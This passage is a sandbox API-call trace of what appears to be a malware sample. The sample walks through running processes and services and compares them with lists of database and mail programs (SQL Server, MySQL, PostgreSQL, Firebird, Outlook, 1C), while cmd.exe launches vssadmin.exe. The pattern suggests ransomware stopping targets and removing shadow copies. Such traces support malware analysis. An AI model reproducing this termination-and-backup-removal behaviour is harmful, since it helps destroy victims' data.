th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.876] lstrlenW (lpString="svchost.exe") returned 11 [0225.876] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0225.877] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0225.877] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0225.877] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0225.877] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0225.877] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0225.877] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0225.877] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.878] lstrlenW (lpString="svchost.exe") returned 11 [0225.878] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0225.878] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0225.878] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0225.878] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0225.878] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0225.878] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0225.878] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0225.878] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.879] lstrlenW (lpString="svchost.exe") returned 11 [0225.879] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0225.880] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0225.880] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0225.880] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0225.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0225.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0225.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0225.880] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.881] lstrlenW (lpString="audiodg.exe") returned 11 [0225.881] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0225.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0225.881] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0225.881] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0225.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0225.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0225.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0226.117] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.118] lstrlenW (lpString="svchost.exe") returned 11 [0226.118] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.118] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.118] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.118] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.118] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.118] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.119] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.119] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0226.119] lstrlenW (lpString="userinit.exe") returned 12 [0226.120] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0226.120] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0226.120] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.122] lstrlenW (lpString="explorer.exe") returned 12 [0226.122] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.123] lstrlenW (lpString="dwm.exe") returned 7 [0226.123] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.124] lstrlenW (lpString="svchost.exe") returned 11 [0226.124] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0226.125] lstrlenW (lpString="winhost.exe") returned 11 [0226.125] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.126] lstrlenW (lpString="spoolsv.exe") returned 11 [0226.126] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0226.127] lstrlenW (lpString="dllhost.exe") returned 11 [0226.127] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.128] lstrlenW (lpString="svchost.exe") returned 11 [0226.128] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0226.129] lstrlenW (lpString="taskhost.exe") returned 12 [0226.129] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0226.130] lstrlenW (lpString="cmd.exe") returned 7 [0226.130] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0226.131] lstrlenW (lpString="reader_sl.exe") returned 13 [0226.132] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0226.133] lstrlenW (lpString="conhost.exe") returned 11 [0226.133] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0226.134] lstrlenW (lpString="vssadmin.exe") returned 12 [0226.134] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0226.135] CloseHandle (hObject=0x38c) returned 1 [0226.135] Sleep (dwMilliseconds=0x1f4) [0226.785] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0226.868] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0226.868] GetLastError () returned 0xea [0226.868] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xacc) returned 0x432a868 [0226.869] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xacc, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0226.869] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0226.870] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0226.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.870] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0226.870] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0226.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0226.870] lstrlenW (lpString="AudioSrv") returned 8 [0226.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0226.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0226.871] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0226.871] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0226.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0226.871] lstrlenW (lpString="BFE") returned 3 [0226.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0226.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0226.871] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0226.871] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0226.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0226.871] lstrlenW (lpString="CscService") returned 10 [0226.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0226.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0226.871] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0226.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0226.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0226.872] lstrlenW (lpString="DcomLaunch") returned 10 [0226.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0226.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0226.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0226.872] lstrlenW (lpString="Dhcp") returned 4 [0226.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0226.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0226.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0226.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0226.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0226.872] lstrlenW (lpString="Dnscache") returned 8 [0226.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0226.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0226.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0226.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0226.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0226.873] lstrlenW (lpString="eventlog") returned 8 [0226.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0226.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0226.873] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0226.873] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0226.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0226.873] lstrlenW (lpString="EventSystem") returned 11 [0226.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0226.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0226.874] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0226.874] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0226.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0226.874] lstrlenW (lpString="gpsvc") returned 5 [0226.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0226.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0226.874] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0226.874] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0226.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0226.874] lstrlenW (lpString="LanmanWorkstation") returned 17 [0226.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.874] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0226.875] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0226.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0226.875] lstrlenW (lpString="lmhosts") returned 7 [0226.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0226.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0226.875] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0226.875] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0226.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0226.875] lstrlenW (lpString="MMCSS") returned 5 [0226.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0226.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0226.875] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0226.876] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0226.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0226.876] lstrlenW (lpString="MpsSvc") returned 6 [0226.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0226.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0226.876] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0226.876] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0226.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0226.876] lstrlenW (lpString="nsi") returned 3 [0226.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0226.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0226.876] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0226.876] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0226.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0226.877] lstrlenW (lpString="PlugPlay") returned 8 [0226.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0226.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0226.877] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0226.877] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0226.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0226.877] lstrlenW (lpString="Power") returned 5 [0226.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0226.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0226.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0226.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0226.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0226.877] lstrlenW (lpString="ProfSvc") returned 7 [0226.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0226.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0226.878] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0226.878] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0226.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0226.878] lstrlenW (lpString="RpcEptMapper") returned 12 [0226.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.878] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0226.878] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0226.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0226.878] lstrlenW (lpString="RpcSs") returned 5 [0226.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0226.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0226.879] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0226.879] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0226.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0226.879] lstrlenW (lpString="SamSs") returned 5 [0226.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0226.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0226.879] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0226.879] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0226.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0226.879] lstrlenW (lpString="Schedule") returned 8 [0226.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0226.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0226.880] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0226.880] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0226.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0226.880] lstrlenW (lpString="SENS") returned 4 [0226.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0226.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0226.881] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0226.881] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0226.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0226.881] lstrlenW (lpString="ShellHWDetection") returned 16 [0226.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0226.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0226.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0226.882] lstrlenW (lpString="Spooler") returned 7 [0226.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0226.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0226.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0226.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0226.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0226.882] lstrlenW (lpString="Themes") returned 6 [0226.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0226.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0226.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0226.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0226.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0226.883] lstrlenW (lpString="UxSms") returned 5 [0226.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0226.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0226.883] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0226.883] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0226.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0226.883] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0226.883] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d0 [0226.888] Process32FirstW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.889] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.890] lstrlenW (lpString="System") returned 6 [0226.890] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0226.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0226.890] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0226.890] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0226.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0226.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0226.891] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0226.891] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.892] lstrlenW (lpString="smss.exe") returned 8 [0226.892] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0226.892] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0226.892] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0226.892] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0226.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0226.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0226.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0226.892] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.893] lstrlenW (lpString="csrss.exe") returned 9 [0226.893] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0226.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0226.893] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0226.893] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0226.894] 